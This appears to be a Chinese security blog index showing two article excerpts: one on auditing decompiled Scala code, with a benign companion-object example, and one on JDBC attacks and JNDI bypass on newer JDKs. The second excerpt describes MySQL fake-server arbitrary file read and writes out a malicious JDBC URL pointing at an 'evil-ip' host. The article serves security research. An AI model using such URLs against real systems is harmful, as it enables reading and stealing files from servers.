Scala代码审计之痛 -- Scala与Java的爱恨情仇

一、前言 Scala 是一门多范式的编程语言,集成了面向对象编程和函数式编程的多种特性。函数式编程抽象的理论基础也让这门语言变得抽象起来,初学者需要花更多的时间去理解其特有概念以及众多的语法糖。Scala是一门运行在JVM平台上的语言,其源码编译结果符合Java字节码规范,所以可以被反编译为Java代码。在进行Scala代码审计的过程中,审计者很少有机会直面其源码,大多数时候都是被反编译为Java的代码所支配。Scala与Java毕竟是两门语言,反编译成Java代码的后果便是丧失了动态调试的能力(这为审计者带来了不小的麻烦),反编译后产生的中间代码、临时变量等辅助结构更是极大得降低了代码的可读性。本文将带领诸位抽丝剥茧逐步梳理出Scala各语法结构与Java语法结构对应关系,最后以两个漏洞案例的分析加以对比说明。 二、特殊语法结构识别 除了循环、条件判断、面向对象等基础语法外,Scala还提供了极具特色的语法结构,如:模式匹配、隐式转换、传名调用、函数柯里化、伴生对象、特质、提取器、函数式编程等。本章不会重点着墨于这些语法的介绍,而是向读者展示在将Scala源程序反编译为Java代码后产生的那些不太常规的语法结构以及一些奇怪的变量(MODULE$/$outer/package/$init$)等。 2.1 伴生对象 本节将会涉及到特殊变量MODULE$的含义 Scala中没有static关键字,其通过伴生对象来实现static的效果。伴生对象是类自身定义的单个实例,可以被理解为当前类的一个单例对象(并不显式依赖一个类,可独立存在),以下代码展示了一个类的伴生对象: package org.example class Singletons(){ private var llac: String = "九敏啊,我是伴生类的私有属性,我被伴生对象调用了" private def callSingleField(): Unit = { // 调用伴生对象的私有属性 println(Singletons.call) } } object Singletons { private var call: String = "九敏啊,我是伴生对象的私有属性,我被伴生类调用了" def sayHello(llac: String): Unit = { println(llac) } def main(args: Array[String]): Unit = { val s: Singletons = new Singletons() // 调用伴生类的私有属性 sayHello(s.llac) // 调用伴生类的私有方法 s.callSingleField() } } 在上面提供的代码中,被关键字object修饰的对象被称为类Singletons的伴生对象,类Singletons被称为object关键字修饰的对象的伴生类,两者可互相调用其私有属性以及方法。 Scala语言是运行在jvm上的,其最终编译结果符合Java字节码规范,于是便可以将其反编译成为Java代码进行查看,这样会得到与Scala源代码迥然不同的代码结构,并产生一些中间代码。审计者在进行Scala代码审计时大多数时候面对的都是被反编译成为Java代码的Scala程序,所以如何快速高效地识别Scala代码转换后的语言结构就尤为重要,特别是一些特殊的变量。 以下便是上文Scala源代码反编译成为Java代码后的形态:...

2024年08月07日 · 16 分钟 · falc0n_leo

JDBC Attack 与高版本 JDK 下的 JNDI Bypass

一、前言 JNDI 注入作为 Java 攻击的常见 Sink 点,通常被用于 Weblogic 以及 Fastjson 等常见目标的攻击流程中,而 JNDI 注入的利用经过 JDK 新版本对相关利用的修复,以及一些常见依赖利用方式的变化,在高版本 JDK 中,其利用逐渐遭遇了困境。而 JDBC Attack,作为针对 Java 数据库引擎的一种攻击方式,除了其常规的利用方式之外,也可以与原生反序列化结合起来,实现对 JNDI 攻击的扩展,解决高版本下 JNDI 注入的困境。 二、关于 JDBC Attack 首先是关于基础的JDBC Attack的一些回顾,JDBC 是Java应用在连接不同的底层数据库引擎时使用的抽象层,使得Java应用可以用相同的接口对各种不同的数据库进行抽象的控制,JDBC使用如下的URL格式进行连接。 Class.forName("com.mysql.cj.jdbc.Driver"); String url = "jdbc:mysql://mysql.db.server:3306/my_database?useSSL=false&serverTimezone=UTC" Connection conn = DriverManager.getConnection(url) 而该URL中,后面的可控参数就是针对不同数据库Driver进行利用的入口。 接下来我们来回顾一下常见的几个 Driver 的利用: 2.1 MySQL Driver 针对MySQL Driver的通用利用主要是使用 Fake Server 进行任意文件读,首先需要配置 MySQL fake server,然后开启 allowLoadLocalInfile=true 设置,构造形如 jdbc:mysql://evil-ip:3306/test?allowLoadLocalInfile=true 的 URL 去请求 fake server 即可进行利用。 对于 MySQL 也可以打反序列化,但是有版本限制,只有较老的 <= 8.0.20, < 5....

2024年07月24日 · 5 分钟 · crumbledwall